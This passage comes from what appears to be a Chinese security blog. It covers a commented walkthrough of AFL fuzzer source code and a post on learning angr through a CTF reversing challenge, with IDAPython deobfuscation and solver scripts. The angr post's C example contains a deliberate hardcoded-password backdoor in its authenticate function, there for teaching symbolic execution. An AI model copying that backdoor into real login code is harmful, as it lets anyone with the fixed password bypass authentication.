class="keyword">else</span> </span><br><span class="line"> {</span><br><span class="line"> q->exec_cksum = cksum;</span><br><span class="line"> <span class="built_in">memcpy</span>(first_trace, trace_bits, MAP_SIZE);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<p>循环体之后的代码,这里就针对<code>perform_dry_run</code>中单个测试用例的全部变化了,q就代表一个测试用例的结构体:</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"> stop_us = get_cur_time_us();</span><br><span class="line"> total_cal_us += stop_us - start_us;<span class="comment">//统计时间用</span></span><br><span class="line"> total_cal_cycles += stage_max;</span><br><span class="line"> <span class="comment">/* OK, let's collect some stats about the performance of this test case.</span></span><br><span class="line"><span class="comment"> This is used for fuzzing air time calculations in calculate_score(). */</span></span><br><span class="line"> q->exec_us = (stop_us - start_us) / stage_max;<span class="comment">//每次执行的平均时间</span></span><br><span class="line"> q->bitmap_size = count_bytes(trace_bits);<span class="comment">//记录路径二元组的组数</span></span><br><span class="line"> q->handicap = handicap;</span><br><span class="line"> q->cal_failed = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> total_bitmap_size += q->bitmap_size;</span><br><span class="line"> total_bitmap_entries++;</span><br><span class="line"></span><br><span class="line"> update_bitmap_score(q);<span class="comment">//更新top_rated结构体</span></span><br><span class="line"> <span class="comment">//里面有一个minimize_bits函数,意思是设置一个只有0,1表示的是否有路径的minibitmap,相当于舍弃了原始bitmap的计数,只用一字节中的一位来表示</span></span><br><span class="line"> <span class="comment">/* If this case didn't result in new output from the instrumentation, tell</span></span><br><span class="line"><span class="comment"> parent. This is a non-critical problem, but something to warn the user</span></span><br><span class="line"><span class="comment"> about. */</span></span><br><span class="line"> <span class="keyword">if</span> (!dumb_mode && first_run && !fault && !new_bits) fault = FAULT_NOBITS;</span><br><span class="line"></span><br><span class="line">abort_calibration:</span><br><span class="line"> <span class="keyword">if</span> (new_bits == <span class="number">2</span> && !q->has_new_cov) </span><br><span class="line"> {</span><br><span class="line"> q->has_new_cov = <span class="number">1</span>;<span class="comment">//循环执行过程中路径发生过变化</span></span><br><span class="line"> queued_with_cov++;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">/* Mark variable paths. 在循环中如有某次的trace变化了,对该测试用例进行记录*/</span></span><br><span class="line"> <span class="keyword">if</span> (var_detected) </span><br><span class="line"> {</span><br><span class="line"> var_byte_count = count_bytes(var_bytes);</span><br><span class="line"> <span class="keyword">if</span> (!q->var_behavior) </span><br><span class="line"> {</span><br><span class="line"> mark_as_variable(q);</span><br><span class="line"> queued_variable++;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> stage_name = old_sn;</span><br><span class="line"> stage_cur = old_sc;</span><br><span class="line"> stage_max = old_sm;</span><br><span class="line"> <span class="keyword">if</span> (!first_run) show_stats();</span><br><span class="line"> <span class="keyword">return</span> fault;</span><br></pre></td></tr></table></figure>
<h3 id="init-forkserver"><a href="#init-forkserver" class="headerlink" title="init_forkserver"></a>init_forkserver</h3><p><code>calibrate_case</code>中的函数,<code>init_forkserver</code>的代码不难懂建议直接看,又因为比较长这里就不写太多了,主要就是打开了两个pipe(一个用于forkserver发送状态、一个用于fuzzer发送命令,管道描述符分别设置值为198和199,对应之前的<code>afl_maybe_log</code>)之后fork出一个fuzzer子进程并setsid,把子进程的stdout、stderr全关、做了一些设置之后用execv替换成目标文件的进程映象,正式成为供fuzzer控制的forkserver。对于这个结构师傅们给出了图,对应的操作点一边是前面的afl-as.h分析中可以看到,还有一边在fuzzer中的run_target函数(下文分析)</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210203145002.png" alt="image-20210203145001" style="zoom:80%;">
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210203145001.png" alt="QQ图片20210203145001" style="zoom:80%;">
<h3 id="run-target"><a href="#run-target" class="headerlink" title="run_target"></a>run_target</h3><p>这里截取了forkserver模式的部分代码用注释的方法分析</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/* Execute target application, monitoring for timeouts. Return status</span></span><br><span class="line"><span class="comment"> information. The called program will update trace_bits[]. */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> u8 <span class="title">run_target</span><span class="params">(<span class="keyword">char</span>** argv, u32 timeout)</span> </span>{</span><br><span class="line"> <span class="keyword">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">itimerval</span> <span class="title">it</span>;</span><span class="comment">//设置判断超时用</span></span><br><span class="line"> <span class="keyword">static</span> u32 prev_timed_out = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">int</span> status = <span class="number">0</span>;</span><br><span class="line"> u32 tb4;</span><br><span class="line"> child_timed_out = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* After this memset, trace_bits[] are effectively volatile, so we</span></span><br><span class="line"><span class="comment"> must prevent any earlier operations from venturing into that</span></span><br><span class="line"><span class="comment"> territory. */</span></span><br><span class="line"> <span class="built_in">memset</span>(trace_bits, <span class="number">0</span>, MAP_SIZE);<span class="comment">//每次runtarget都会将bitmap置零</span></span><br><span class="line"> MEM_BARRIER();<span class="comment">//保护内存用</span></span><br><span class="line"> </span><br><span class="line"> s32 res;</span><br><span class="line"> <span class="comment">/* In non-dumb mode, we have the fork server up and running, so simply</span></span><br><span class="line"><span class="comment"> tell it to have at it, and then read back PID. */</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">//下文的write和read是发送命令接收状态的具体位置</span></span><br><span class="line"> <span class="keyword">if</span> ((res = <span class="built_in">write</span>(fsrv_ctl_fd, &prev_timed_out, <span class="number">4</span>)) != <span class="number">4</span>) <span class="comment">//4B trigger forkserver,这里对应前面的hello message,正式启动,prev_time_out在这里是啥东西应该无所谓</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (stop_soon) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> RPFATAL(res, <span class="string">"Unable to request new process from fork server (OOM?)"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ((res = <span class="built_in">read</span>(fsrv_st_fd, &child_pid, <span class="number">4</span>)) != <span class="number">4</span>) <span class="comment">//get the child's PID by the fork of forkserver</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (stop_soon) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> RPFATAL(res, <span class="string">"Unable to request new process from fork server (OOM?)"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (child_pid <= <span class="number">0</span>) FATAL(<span class="string">"Fork server is misbehaving (OOM?)"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Configure timeout, as requested by user, then wait for child to terminate. */</span></span><br><span class="line"> it.it_value.tv_sec = (timeout / <span class="number">1000</span>);</span><br><span class="line"> it.it_value.tv_usec = (timeout % <span class="number">1000</span>) * <span class="number">1000</span>;</span><br><span class="line"> setitimer(ITIMER_REAL, &it, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* The SIGALRM handler simply kills the child_pid and sets child_timed_out. */</span></span><br><span class="line"> s32 res;</span><br><span class="line"> <span class="keyword">if</span> ((res = <span class="built_in">read</span>(fsrv_st_fd, &status, <span class="number">4</span>)) != <span class="number">4</span>)<span class="comment">//这里调用read应该会阻塞,因为这个statu得等子进程退出或者出错啥的</span></span><br><span class="line"> <span class="comment">//此时forkserver还在waitpid,forkserver一旦接收到子进程的信号量就发statu到fuzzer这里</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (stop_soon) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> RPFATAL(res, <span class="string">"Unable to communicate with fork server (OOM?)"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!WIFSTOPPED(status)) child_pid = <span class="number">0</span>;<span class="comment">//已经停止了就将child_pid置零,防止在执行这几行代码时记录成time_out</span></span><br><span class="line"> it.it_value.tv_sec = <span class="number">0</span>;</span><br><span class="line"> it.it_value.tv_usec = <span class="number">0</span>;</span><br><span class="line"> setitimer(ITIMER_REAL, &it, <span class="literal">NULL</span>);<span class="comment">//这里都是0的话就是取消计时器</span></span><br><span class="line"></span><br><span class="line"> total_execs++;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Any subsequent operations on trace_bits must not be moved by the</span></span><br><span class="line"><span class="comment"> compiler below this point. Past this location, trace_bits[] behave</span></span><br><span class="line"><span class="comment"> very normally and do not have to be treated as volatile. */</span></span><br><span class="line"> MEM_BARRIER();</span><br><span class="line"></span><br><span class="line"> tb4 = *(u32*)trace_bits;</span><br><span class="line"></span><br><span class="line"> classify_counts((u32*)trace_bits);<span class="comment">//对trace_bits中的次数进行分类、重写</span></span><br><span class="line"> <span class="comment">//这里比较重要,第一次分析的时候没注意在run_target分类之后bitmap中每个字节只有9种状态,在前面calibrate_case里面有一个has_new_bits一直没看懂细节</span></span><br><span class="line"></span><br><span class="line"> prev_timed_out = child_timed_out;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*Report outcome to caller. 下面都是判断测试用例退出类型*/</span></span><br><span class="line"> <span class="keyword">if</span> (WIFSIGNALED(status) && !stop_soon) {</span><br><span class="line"> kill_signal = WTERMSIG(status);</span><br><span class="line"> <span class="keyword">if</span> (child_timed_out && kill_signal == SIGKILL) <span class="keyword">return</span> FAULT_TMOUT;</span><br><span class="line"> <span class="keyword">return</span> FAULT_CRASH;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* A somewhat nasty hack for MSAN, which doesn't support abort_on_error and</span></span><br><span class="line"><span class="comment"> must use a special exit code. */</span></span><br><span class="line"> <span class="keyword">if</span> (uses_asan && WEXITSTATUS(status) == MSAN_ERROR)</span><br><span class="line"> {</span><br><span class="line"> kill_signal = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">return</span> FAULT_CRASH;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> FAULT_NONE;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h3 id="main-part2"><a href="#main-part2" class="headerlink" title="main(part2)"></a>main(part2)</h3><p>fuzzer的第二部分,部分删减,虽然说前面分析跑测试用例的部分已经把fuzzer原理缕了很多,但是这里开始才是变异的核心部分,有些可以参考sakura的<a href="https://www.anquanke.com/post/id/213432" target="_blank" rel="noopener">这篇文章</a>,可能写的更详细或者侧重点不同啥的</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"> cull_queue();<span class="comment">//用于精简提供的测试用例,算法在文章最开始提到的文章里面有写,是一个贪心策略,这里面的标记都是用的单个bit,用到了前面的minibitmap</span></span><br><span class="line"> show_init_stats();</span><br><span class="line"> seek_to = find_start_position();<span class="comment">//resume时用,正常状态为0</span></span><br><span class="line"></span><br><span class="line"> write_stats_file(<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"> save_auto();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (stop_soon) <span class="keyword">goto</span> stop_fuzzing;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> (<span class="number">1</span>) {</span><br><span class="line"> u8 skipped_fuzz;</span><br><span class="line"> cull_queue();</span><br><span class="line"> <span class="keyword">if</span> (!queue_cur) {<span class="comment">//queue_cur用来判断是否执行完一轮,当然初始进来的时候应该是默认为null</span></span><br><span class="line"> queue_cycle++;<span class="comment">//整个队列循环的次数</span></span><br><span class="line"> current_entry = <span class="number">0</span>;<span class="comment">//这个好像就是指第几个测试用例</span></span><br><span class="line"> cur_skipped_paths = <span class="number">0</span>;<span class="comment">//</span></span><br><span class="line"> queue_cur = <span class="built_in">queue</span>;</span><br><span class="line"> </span><br><span class="line"> show_stats();</span><br><span class="line"> <span class="comment">/* If we had a full queue cycle with no new finds, try</span></span><br><span class="line"><span class="comment"> recombination strategies next. */</span></span><br><span class="line"> <span class="keyword">if</span> (queued_paths == prev_queued) <span class="comment">//queue里的case数是否未变化</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (use_splicing) cycles_wo_finds++; <span class="comment">//开启拼接时cycles_wo_finds++</span></span><br><span class="line"> <span class="keyword">else</span> use_splicing = <span class="number">1</span>;<span class="comment">//否则开启拼接</span></span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">else</span> cycles_wo_finds = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> prev_queued = queued_paths;</span><br><span class="line"> <span class="keyword">if</span> (sync_id && queue_cycle == <span class="number">1</span> && getenv(<span class="string">"AFL_IMPORT_FIRST"</span>))<span class="comment">//这里是synchronize fuzz用的</span></span><br><span class="line"> sync_fuzzers(use_argv);</span><br><span class="line"> }</span><br><span class="line"> skipped_fuzz = fuzz_one(use_argv);<span class="comment">//关键函数,fuzz_one对当前queue进行一次完整测试,也是目前最长的一个函数,大约有1500行</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (!stop_soon && sync_id && !skipped_fuzz) {</span><br><span class="line"> <span class="keyword">if</span> (!(sync_interval_cnt++ % SYNC_INTERVAL))</span><br><span class="line"> sync_fuzzers(use_argv);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!stop_soon && exit_1) stop_soon = <span class="number">2</span>;</span><br><span class="line"> <span class="keyword">if</span> (stop_soon) <span class="keyword">break</span>;</span><br><span class="line"> queue_cur = queue_cur->next;</span><br><span class="line"> current_entry++;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (queue_cur) show_stats();</span><br><span class="line"> write_bitmap();</span><br><span class="line"> write_stats_file(<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"> save_auto();</span><br><span class="line"></span><br><span class="line">stop_fuzzing:</span><br><span class="line"> SAYF(CURSOR_SHOW cLRD <span class="string">"\n\n+++ Testing aborted %s +++\n"</span> cRST,</span><br><span class="line"> stop_soon == <span class="number">2</span> ? <span class="string">"programmatically"</span> : <span class="string">"by user"</span>);</span><br><span class="line"> <span class="comment">/* Running for more than 30 minutes but still doing first cycle? */</span></span><br><span class="line"> <span class="keyword">if</span> (queue_cycle == <span class="number">1</span> && get_cur_time() - start_time > <span class="number">30</span> * <span class="number">60</span> * <span class="number">1000</span>) {</span><br><span class="line"> SAYF(<span class="string">"\n"</span> cYEL <span class="string">"[!] "</span> cRST</span><br><span class="line"> <span class="string">"Stopped during the first cycle, results may be incomplete.\n"</span></span><br><span class="line"> <span class="string">" (For info on resuming, see %s/README.)\n"</span>, doc_path);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> fclose(plot_file);</span><br><span class="line"> destroy_queue();</span><br><span class="line"> destroy_extras();</span><br><span class="line"> ck_free(target_path);</span><br><span class="line"> ck_free(sync_id);</span><br><span class="line"> alloc_report();</span><br><span class="line"> OKF(<span class="string">"We're done here. Have a nice day!\n"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br></pre></td></tr></table></figure>
<h3 id="fuzz-one"><a href="#fuzz-one" class="headerlink" title="fuzz_one"></a>fuzz_one</h3><p>先看一下他的跳过策略</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (pending_favored) </span><br><span class="line">{</span><br><span class="line"> <span class="comment">/* If we have any favored, non-fuzzed new arrivals in the queue,</span></span><br><span class="line"><span class="comment"> possibly skip to them at the expense of already-fuzzed or non-favored</span></span><br><span class="line"><span class="comment"> cases. */</span></span><br><span class="line"> <span class="keyword">if</span> ((queue_cur->was_fuzzed || !queue_cur->favored) && UR(<span class="number">100</span>) < SKIP_TO_NEW_PROB) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> <span class="comment">//这里不满足favored或者non-fuzzed的话跳过概率是99%</span></span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (!dumb_mode && !queue_cur->favored && queued_paths > <span class="number">10</span>) </span><br><span class="line"> {</span><br><span class="line"> <span class="comment">/* Otherwise, still possibly skip non-favored cases, albeit less often.</span></span><br><span class="line"><span class="comment"> The odds of skipping stuff are higher for already-fuzzed inputs and</span></span><br><span class="line"><span class="comment"> lower for never-fuzzed entries. */</span></span><br><span class="line"> <span class="keyword">if</span> (queue_cycle > <span class="number">1</span> && !queue_cur->was_fuzzed) </span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (UR(<span class="number">100</span>) < SKIP_NFAV_NEW_PROB) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> <span class="comment">//queue_cycle大于1且没有被fuzz过,跳过概率是75%</span></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> </span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (UR(<span class="number">100</span>) < SKIP_NFAV_OLD_PROB) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> <span class="comment">//fuzzed&&no-favored,有90%概率跳过</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<p>进入fuzz流程的话,就先将case map到内存</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">fd = <span class="built_in">open</span>(queue_cur->fname, O_RDONLY);</span><br><span class="line">len = queue_cur->len;</span><br><span class="line">orig_in = in_buf = mmap(<span class="number">0</span>, len, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, <span class="number">0</span>);<span class="comment">//MAP_PRIVATE在内存对文件的修改不会影响文件本身</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">close</span>(fd);</span><br></pre></td></tr></table></figure>
<p>然后有一个<code>CALIBRATION</code>阶段和<code>TRIMMING</code>阶段,前者是在之前<code>proform_dry_run</code>中如果校准失败就再次校准,后者主要是为了修剪文件长度啥的,如果修剪文件对执行路径没有影响就<code>make it permanent</code>,优化后续运行</p>
<p>之后是一个<code>PERFORMANCE SCORE</code>阶段为该case计分,影响后续的havoc stage</p>
<p>到这里就是主要的变异策略了,推荐<a href="https://paper.seebug.org/496/#part-2afl" target="_blank" rel="noopener">直接看文章吧</a>,后面节约时间我就先不写了,以后自己要写变异策略的时候再参考吧</p>
]]></content>
<tags>
<tag>source code</tag>
</tags>
</entry>
<entry>
<title>angr学习</title>
<url>/2020/04/01/angr%E5%AD%A6%E4%B9%A0/</url>
<content><![CDATA[<h1 id="自己学校新生杯一道逆向题引导的angr学习"><a href="#自己学校新生杯一道逆向题引导的angr学习" class="headerlink" title="自己学校新生杯一道逆向题引导的angr学习"></a>自己学校新生杯一道逆向题引导的angr学习</h1><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>上学期在图书馆研究室偶然提到了自己协会办比赛可以给学弟学妹们拿学分的想法,我当时的想法是办可以办,就是题目可能得非常简单他们才能写,嘛不过事实确实是这样。可是有外校师傅一起加入之后就变的很活跃了,室友请了启奡师傅还有福州大学的师傅来出题,自己也在二进制方向放了一波签到题,举行了一次面向大一大二的新生杯,也拉了一些外校的师傅来打,整体办的还是蛮成功的,室友看上去也挺开心,这里专门用启奡师傅给的逆向来记一篇一直没有接触的angr的学习</p>
<h1 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h1><p>看来以后写博客得把题目链接也给上了,所以去github新建了一个用来放题目的仓库,<a href="https://github.com/Coldshield/CTF-Challenges/raw/master/ReverseLearning/funnyre" target="_blank" rel="noopener">题目链接</a></p>
<p>拿到题目之后首先用IDA脚本去花指令,这里用的是IDApython</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">ads = <span class="number">0x4005B0</span></span><br><span class="line"></span><br><span class="line">end = <span class="number">0x401DC0</span></span><br><span class="line"></span><br><span class="line">codes = get_bytes(ads, end-ads)</span><br><span class="line"></span><br><span class="line">codes = codes.replace(<span class="string">"\x74\x03\x75\x01\xe8\x90"</span>, <span class="string">"\x90\x90\x90\x90\x90\x90"</span>)</span><br><span class="line"></span><br><span class="line">patch_bytes(ads, codes)</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> <span class="string">"[+] patch ok"</span></span><br></pre></td></tr></table></figure>
<p>得到函数之后可以发现是一个很长的线性执行流程,直接手动把整个流程一步步过肯定很麻烦了,当然要自己写脚本来简化</p>
<p><img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/1585656430766.png" alt="1585656430766"></p>
<p>出题人wp写的思路是:</p>
<ol>
<li>简单花指令的去除</li>
<li>在有限域上运算的简化</li>
</ol>
<p>ps:在逆向的时候突然发现原来IDA可以按<code>=</code>映射变量,噗,我尼玛玩了这么久的IDA居然才知道</p>
<h1 id="第一种解法:IDApython"><a href="#第一种解法:IDApython" class="headerlink" title="第一种解法:IDApython"></a>第一种解法:IDApython</h1><p>其中一种解题方法是用IDApython来解,这里也学习了一些IDApython脚本的用法,具体脚本如下:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">trans</span><span class="params">(xx, kk)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> [(x-kk) & <span class="number">0xFF</span> <span class="keyword">for</span> x <span class="keyword">in</span> xx]</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">xor</span><span class="params">(xx, kk)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> [x^kk <span class="keyword">for</span> x <span class="keyword">in</span> xx]</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">not_</span><span class="params">(xx)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> [~x <span class="keyword">for</span> x <span class="keyword">in</span> xx]</span><br><span class="line"></span><br><span class="line">dt = [<span class="number">0xd9</span>, <span class="number">0x2c</span>, <span class="number">0x27</span>, <span class="number">0xd6</span>, <span class="number">0xd8</span>, <span class="number">0x2a</span>, <span class="number">0xda</span>, <span class="number">0x2d</span>, <span class="number">0xd7</span>, <span class="number">0x2c</span>, <span class="number">0xdc</span>, <span class="number">0xe1</span>, <span class="number">0xdb</span>, <span class="number">0x2c</span>, <span class="number">0xd9</span>, <span class="number">0xdd</span>, <span class="number">0x27</span>, <span class="number">0x2d</span>, <span class="number">0x2a</span>, <span class="number">0xdc</span>, <span class="number">0xdb</span>, <span class="number">0x2c</span>, <span class="number">0xe1</span>, <span class="number">0x29</span>, <span class="number">0xda</span>, <span class="number">0xda</span>, <span class="number">0x2c</span>, <span class="number">0xda</span>, <span class="number">0x2a</span>, <span class="number">0xd9</span>, <span class="number">0x29</span>, <span class="number">0x2a</span>]</span><br><span class="line"></span><br><span class="line">ads = <span class="number">0x4005B0</span></span><br><span class="line">end = <span class="number">0x401DC0</span></span><br><span class="line">i = PrevHead(end)</span><br><span class="line"><span class="keyword">while</span> i > ads: <span class="comment">#获取不同的指令以及指令的操作数来进行求解</span></span><br><span class="line"> <span class="keyword">if</span> GetMnem(i) == <span class="string">'xor'</span> <span class="keyword">and</span> GetOpnd(i, <span class="number">0</span>) == <span class="string">'byte ptr [rdx+rax+5]'</span>:</span><br><span class="line"> k = int(GetOpnd(i, <span class="number">1</span>).rstrip(<span class="string">'h'</span>), <span class="number">16</span>)</span><br><span class="line"> dt = xor(dt, k)</span><br><span class="line"> print(<span class="string">"xor: {}"</span>.format(k))</span><br><span class="line"> <span class="keyword">if</span> GetMnem(i) == <span class="string">'add'</span> <span class="keyword">and</span> GetOpnd(i, <span class="number">0</span>) == <span class="string">'byte ptr [rdx+rax+5]'</span>:</span><br><span class="line"> k = int(GetOpnd(i, <span class="number">1</span>).rstrip(<span class="string">'h'</span>), <span class="number">16</span>)</span><br><span class="line"> dt = trans(dt, k)</span><br><span class="line"> print(<span class="string">"trans: {}"</span>.format(k))</span><br><span class="line"> <span class="keyword">if</span> GetMnem(i) == <span class="string">'not'</span> <span class="keyword">and</span> GetOpnd(i, <span class="number">0</span>) == <span class="string">'byte ptr [rdx+rax+5]'</span>:</span><br><span class="line"> dt = not_(dt)</span><br><span class="line"> print(<span class="string">"not: {}"</span>.format(k))</span><br><span class="line"> i = PrevHead(i)</span><br><span class="line"></span><br><span class="line">print(dt)</span><br></pre></td></tr></table></figure>
<h1 id="第二种解法:angr"><a href="#第二种解法:angr" class="headerlink" title="第二种解法:angr"></a>第二种解法:angr</h1><p>当然我这这篇文章主要要说的就是第二种解法了:angr求解</p>
<h2 id="What-is-angr"><a href="#What-is-angr" class="headerlink" title="What is angr"></a>What is angr</h2><p>首先angr是一个什么东西呢</p>
<p>angr is a suite of Python 3 libraries that let you load a binary and do a lot of cool things to it:</p>
<p>(angr是一个套用来加载二进制文件做一些很酷的事情的python3库)</p>
<p>具体可以用来做以下的一些事(虽然不知道大佬们把这些翻译成什么中文了,大致看看先)</p>
<ul>
<li>Disassembly and intermediate-representation lifting</li>
<li>Program instrumentation</li>
<li>Symbolic execution</li>
<li>Control-flow analysis</li>
<li>Data-dependency analysis</li>
<li>Value-set analysis (VSA)</li>
<li>Decompilation</li>
</ul>
<p>在使用之前强烈建议多了解一下符号执行的概念,要不然官方文档中很多英文还有概念可能会看不懂,特别是那些带数学符号的概念名词,不过细心一点看不会很难懂的。但是毕竟有些词语有些学术化,我也懒得用那么多俗语来解释了,下文只在一些重要地方做一些注释</p>
<p>例如:<a href="https://blog.csdn.net/omnispace/article/details/80248252" target="_blank" rel="noopener">这篇文章</a></p>
<h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><p>安装环境:Ubuntu16.04</p>
<ol>
<li>安装之前首先把自己默认的python3.5换成了python 3.7.1(编译安装)</li>
<li><code>sudo apt-get install python3-dev libffi-dev build-essential virtualenvwrapper</code></li>
<li><code>mkvirtualenv --python=$(which python3) angr && pip install angr</code></li>
</ol>
<p>其中virtualenvwrapper是一个Python虚拟环境,使用虚拟环境的主要原因是angr会修改libz3和libVEX</p>
<p>创建虚拟环境之后每次使用<code>workon</code>和<code>deactivate</code>即可在真实与虚拟环境切换</p>
<h3 id="使用-amp-examples"><a href="#使用-amp-examples" class="headerlink" title="使用&examples"></a>使用&examples</h3><p>这里用一个简单的例子来开始直接上手学习angr吧</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><fcntl.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="keyword">char</span> *sneaky = <span class="string">"SOSNEAKY"</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">authenticate</span><span class="params">(<span class="keyword">char</span> *username, <span class="keyword">char</span> *password)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> stored_pw[<span class="number">9</span>];</span><br><span class="line"> stored_pw[<span class="number">8</span>] = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">int</span> pwfile;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// evil back d00r</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strcmp</span>(password, sneaky) == <span class="number">0</span>) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> pwfile = <span class="built_in">open</span>(username, O_RDONLY);</span><br><span class="line"> <span class="built_in">read</span>(pwfile, stored_pw, <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strcmp</span>(password, stored_pw) == <span class="number">0</span>) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">accepted</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Welcome to the admin console, trusted user!\n"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">rejected</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Go away!"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> **argv)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> username[<span class="number">9</span>];</span><br><span class="line"> <span class="keyword">char</span> password[<span class="number">9</span>];</span><br><span class="line"> <span class="keyword">int</span> authed;</span><br><span class="line"></span><br><span class="line"> username[<span class="number">8</span>] = <span class="number">0</span>;</span><br><span class="line"> password[<span class="number">8</span>] = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Username: \n"</span>);</span><br><span class="line"> <span class="built_in">read</span>(<span class="number">0</span>, username, <span class="number">8</span>);</span><br><span class="line"> <span class="built_in">read</span>(<span class="number">0</span>, &authed, <span class="number">1</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Password: \n"</span>);</span><br><span class="line"> <span class="built_in">read</span>(<span class="number">0</span>, password, <span class="number">8</span>);</span><br><span class="line"> <span class="built_in">read</span>(<span class="number">0</span>, &authed, <span 